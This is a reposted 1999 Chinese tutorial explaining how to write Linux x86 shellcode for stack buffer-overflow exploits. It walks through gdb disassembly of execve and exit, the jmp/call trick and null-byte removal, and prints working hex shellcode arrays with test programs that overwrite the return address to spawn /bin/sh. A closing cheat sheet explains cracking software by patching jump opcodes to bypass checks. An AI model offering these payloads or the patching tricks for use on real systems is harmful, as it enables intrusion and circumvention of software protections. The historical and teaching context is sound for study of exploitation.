如何写shell code [ZT]

如何写shell code [ZT]

这篇文章写的是标准SHELLCODE的做法,写的很详细了,很容易理解.                 *************************
                 *    如何写shell code    *
                 *************************
               
                              by warning3 <warning3@hotmail.com>   
                                                   1999/07
                                          
我曾看到有人翻了aleph1的<<smashing stack for fun and profit>>,
奇怪的是里面把写shellcode的部分给略掉了,我觉得对于想自己写点儿exploit
的人,不懂怎么写shellcode是不行的.所以我就参考alph1的文章来讲讲怎么写
shellcode.不对的地方还请多多指教.
                                                

   通过覆盖堆栈中的返回地址,我们可以让程序转到该地址去执行我们想要执行
的指令.通常的做法是在溢出的数据中放入我们自己的可执行代码,然后覆盖返回地址,
使它指向我们自己代码开始的地址.一般我们希望可执行代码能启动一个shell.假设
堆栈开始的地址是0xFF,"S"代表我们想执行的代码,堆栈的情况如下:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
栈顶                                                               栈底


sfp: 堆栈帧指针
ret: 返回地址
a,b,c: 函数入口参数


下面是一个启动shell的C程序:

shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

   为了查看它的汇编代码,我们可以先编译它,然后启动gdb来分析。

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
------------------------------------------------------------------------------

下面我们看看整个过程是怎样的。先从main()开始:

------------------------------------------------------------------------------
0x8000130 <main>:   pushl  %ebp       #保存原来的栈帧指针
0x8000131 <main+1>: movl   %esp,%ebp  #将当前堆栈指针变成新的栈帧指针
0x8000133 <main+3>: subl   $0x8,%esp  #堆栈指针前移8个字节,为局部变量分配空间
                                      #相当于 char *name[2];因为每个字符指针
                                      #都是4个字节,所以一共8个字节。
0x8000136 <main+6>: movl   $0x80027b8,0xfffffff8(%ebp)
                                      #将字符串"/bin/sh"的地址拷贝到name[0]中                                          
                                      #等于name[0]="/bin/sh";
0x800013d <main+13>:movl   $0x0,0xfffffffc(%ebp)
                                      #将0(NULL)值拷贝到name[1]中
                                      #等于 name[1]=NULL;                                          
0x8000144 <main+20>:pushl  $0x0       #按从右到左的顺序将execv()的三个参数依次
                                      #压栈,首先压入NULL值 (第三个参数)
0x8000146 <main+22>:leal   0xfffffff8(%ebp),%eax
                                      #将name[]的地址装入寄存器EAX中
0x8000149 <main+25>:pushl  %eax       #将name[]的地址压入堆栈 (第二个参数)
0x800014a <main+26>:movl   0xfffffff8(%ebp),%eax
                                   #将"/bin/sh"的地址装入EAX
0x800014d <main+29>:pushl  %eax       #将"/bin/sh"的地址装入堆栈(第一个参数)
0x800014e <main+30>:call   0x80002bc <__execve>
                                      #参数全部压栈后,我们开始调用execve()
                                      #它首先将当前IP压入堆栈
------------------------------------------------------------------------------                                          

   现在我们来看execve().要记住现在我们用的是基于Intel的Linux系统。而syscall的具
体调用细节随着不同的系统和CPU也有所不同。有一些是在堆栈中传递参数,也有的是在寄
存器里。有的是用软件中断跳到kernel模式,有的则是通过一个far调用来完成。Linux在
寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式。(int $80)
   
------------------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp       #保存原来的栈帧指针
0x80002bd <__execve+1>: movl   %esp,%ebp  #将当前堆栈指针变成新的栈帧指针
0x80002bf <__execve+3>: pushl  %ebx       #将ebx压栈
0x80002c0 <__execve+4>: movl   $0xb,%eax  #拷贝0xb(11)到eax中,这是syscall表的
                                          #索引值。11代表execv.
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx  #将"/bin/sh"的地址拷贝到ebx中
0x80002c8 <__execve+12>:movl   0xc(%ebp),%ecx  #将name[]的地址拷贝到ecx中
0x80002cb <__execve+15>:movl   0x10(%ebp),%edx #将null的地址拷贝到edx中
0x80002ce <__execve+18>:int    $0x80      #软件中断,转入kernel模式

------------------------------------------------------------------------------

从上面的分析可以看出,完成execve()系统调用,我们所要做的不过是这么几项而已:

        a) 在内存中有以NULL结尾的字符串"/bin/sh"
        b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
        c) 将0xb拷贝到寄存器EAX中
        d) 将"/bin/sh"的地址拷贝到寄存器EBX中
        e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
        f) 将NULL串的地址拷贝到寄存器EDX中
        g) 执行中断指令int $0x80

   如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据
可能是随机的.通常这个程序会core dump.我们希望如果execve调用失败的话,程序可以正
常退出.因此我们必须在execve调用后增加一个exit系统调用.它的C语言程序如下:   
   
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
        exit(0);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
------------------------------------------------------------------------------

   我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出号码放
入EBX中,然后执行"int $0x80".大部分程序正常退出时返回0值,我们也在EBX中放入0.现
在我们所要完成的工作又增加了三项:
        a) 在内存中有以NULL结尾的字符串"/bin/sh"
        b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
        c) 将0xb拷贝到寄存器EAX中
        d) 将"/bin/sh"的地址拷贝到寄存器EBX中
        e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
        f) 将NULL串的地址拷贝到寄存器EDX中
        g) 执行中断指令int $0x80
        h) 将0x1拷贝到寄存器EAX中
        i) 将0x0拷贝到寄存器EBX中
        j) 执行中断指令int $0x80

   下面我们用汇编语言完成上述工作.我们把"/bin/sh"字符串放到代码的后面,并且将会
把字符串的地址和NULL字加到字符串的后面:
   
------------------------------------------------------------------------------
  movl   string_addr,string_addr_addr    #将字符串的地址放入某个内存单元中
movb   $0x0,null_byte_addr             #将null放入字符串"/bin/sh"的结尾
  movl   $0x0,null_addr                  #将NULL字放入某个内存单元中
  movl   $0xb,%eax                       #将0xb拷贝到EAX中
  movl   string_addr,%ebx                #将字符串的地址拷贝到EBX中
  leal   string_addr_addr,%ecx           #将存放字符串地址的地址拷贝到ECX中
  leal   null_string,%edx                #将存放NULL字的地址拷贝到EDX中
  int    $0x80                           #执行中断指令int $0x80 (execv()完成)
  movl   $0x1, %eax                      #将0x1拷贝到EAX中
  movl   $0x0, %ebx                      #将0x0拷贝到EBX中
int    $0x80                           #执行中断指令int $0x80 (exit(0)完成)
  /bin/sh string goes here.              #存放字符串"/bin/sh"
------------------------------------------------------------------------------

   现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中
的确切位置.一种解决的方法是用一个jmp和call指令.jmp和call指令可以用IP相关寻址
,也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址
的确切数值.如果我们将call指令放在字符串"/bin/sh"的前面,然后jmp到call指令的位置,
那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址
)压入堆栈.我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符
串地址)从堆栈中弹出到某个寄存器中.假设J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字符串"/bin/sh",那么我们执行的顺序就象下图所示:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
栈顶                                                                栈底

(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode的
  起始处
(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令
(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行


   经过上述修改后,我们的汇编代码变成了下面的样子:
------------------------------------------------------------------------------
  jmp    offset-to-call           # 2 bytes 1.首先跳到call指令处去执行
  popl   %esi                     # 1 byte  3.?佣颜恢械?鲎址??刂返紼SI中
  movl   %esi,array-offset(%esi)  # 3 bytes 4.将字符串地址拷贝到字符串后面
  movb   $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾
  movl   $0x0,null-offset(%esi)   # 7 bytes 6.将null长字放到字符串地址的地址后面
  movl   $0xb,%eax                # 5 bytes 7.将0xb拷贝到EAX中
  movl   %esi,%ebx                # 2 bytes 8.将字符串地址拷贝到EBX中
  leal   array-offset,(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX
  leal   null-offset(%esi),%edx   # 3 bytes 10.将null串的地址拷贝到EDX
  int    $0x80                    # 2 bytes 11.调用中断指令int $0x80
  movl   $0x1, %eax               # 5 bytes 12.将0x1拷贝到EAX中
  movl   $0x0, %ebx              # 5 bytes 13.将0x0拷贝到EBX中
  int    $0x80                   # 2 bytes 14.调用中断int $0x80
  call   offset-to-popl           # 5 bytes 2.将返回地址压栈,跳到popl处执行
/bin/sh string goes here.
------------------------------------------------------------------------------

   计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到
null串的偏移量,我们得到下面的程序:
   
------------------------------------------------------------------------------
jmp    0x26               # 2 bytes 1.首先跳到call指令处去执行
popl   %esi               # 1 byte  3.从堆栈中弹出字符串地址到ESI中
movl   %esi,0x8(%esi)     # 3 bytes 4.将字符串地址拷贝到字符串后面第9个字节处
movb   $0x0,0x7(%esi)    # 4 bytes 5.将null字节放到字符串后第8个字节处
movl   $0x0,0xc(%esi)     # 7 bytes 6.将null长字放到字符串地址后第13个字节处
movl   $0xb,%eax          # 5 bytes 7.将0xb拷贝到EAX中
movl   %esi,%ebx          # 2 bytes 8.将字符串地址拷贝到EBX中
leal   0x8(%esi),%ecx     # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal   0xc(%esi),%edx     # 3 bytes 10.将null串的地址拷贝到EDX
int    $0x80              # 2 bytes 11.调用中断指令int $0x80
movl   $0x1, %eax        # 5 bytes 12.将0x1拷贝到EAX中
movl   $0x0, %ebx        # 5 bytes 13.将0x0拷贝到EBX中
int    $0x80             # 2 bytes 14.调用中断int $0x80
call   -0x2b             # 5 bytes 2.将返回地址压栈,跳到popl处执行
  .string \"/bin/sh\"     # 8 bytes
------------------------------------------------------------------------------
当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况
假设字符串的地址是0xbfffc5f0:
        
   |........ |  
   |---------|0xbfffc5f0  %esi         字符串地址
   |   '/'   |
   |---------|
   |   'b'   |
   |---------|
   |   'i'   |
   |---------|
   |   'n'   |
   |---------|
   |   '/'   |
   |---------|
   |   's'   |
   |---------|
   |   'h'   |
   |---------|0xbfffc5f7  0x7(%esi) null字节的地址
   |    0    |
   |---------|0xbfffc5f8  0x8(%esi)(存放)字符串地址的地址 即name[0] 大小是4个字节
   |   0xbf  |
   |---------| 注:这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序.
   |   0xff  |    我没有验证过,只是为了说明问题,简单的这么写了一下.
   |---------|    有人感兴趣的可以验证一下.
   |   0xc5  |
   |---------|
   |   0xf0  |
   |---------|0xbfffc5fc  0xc(%esi)    空串的地址 即name[1] 大小是4个字节
   |    0    |  
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------|  
   | ....... |
         
------------------------------------------------------------------------------           
   为了证明它能正常工作,我们必须编译并运行它.但这里有个问题,我们的代码要自己修
改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望
执行的代码放到堆栈或数据段中,并且转向执行它.我们可以将代码放到数据段的一个全局
数组中.我们需要首先得到二进制码的16进制形式.我们可以先编译,然后用GDB得到我们所
要的东西.
   
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
");
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:     0xeb
(gdb)
0x8000134 <main+4>:     0x2a
(gdb)
..
..
..
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------

   很好,它现在工作了.但还有个小问题.大多数情况下我们都是试图overflow一个字符型
buffer.因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程
就被中止了.因此要是exploit工作,shellcode中不能有null字节.我们可以略微的调整一
下代码:
   
           有问题的指令:                                 替代指令:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------

   我们改进后的代码如下:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x7(%esi)           # 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
                                        # 46 bytes total
");
}
------------------------------------------------------------------------------

   测试一下新的代码是否工作:

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-)
这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题.
你可以根据自己的需要,编写出自己的shellcode来.
软件破解常用汇编指令

 cmp  a,b   // 比较a与b
 mov  a,b   // 把b值送给a值,使a=b
 ret      // 返回主程序
 nop      // 无作用,英文(no operation)简写,意思"do nothing"(机器码90)
             (ultraedit打开编辑exe文件看到90相当汇编语句的nop)
 call      // 调用子程序,子程序以ret结尾
 je或jz     // 相等则跳(机器码是74或84)
 jne或jnz    // 不相等则跳(机器码是75或85)
 jmp      // 无条件跳(机器码是EB)
 jb       // 若小于则跳
 ja       // 若大于则跳
 jg       // 若大于则跳
 jge      // 若大于等于则跳
 jl       // 若小于则跳
 pop xxx    // xxx出栈
 push xxx    // xxx压栈


              爆破无敌口诀

         一条(跳)就死,九筒(90)就胡
          (对应上面的2--修改为nop)
         一条(跳)就胡,一饼(EB)伺候
          (对应上面的1--修改为jmp)
             (74) 变(75)
             (84) 变 (85)
存的备份 今天要用到了 呵呵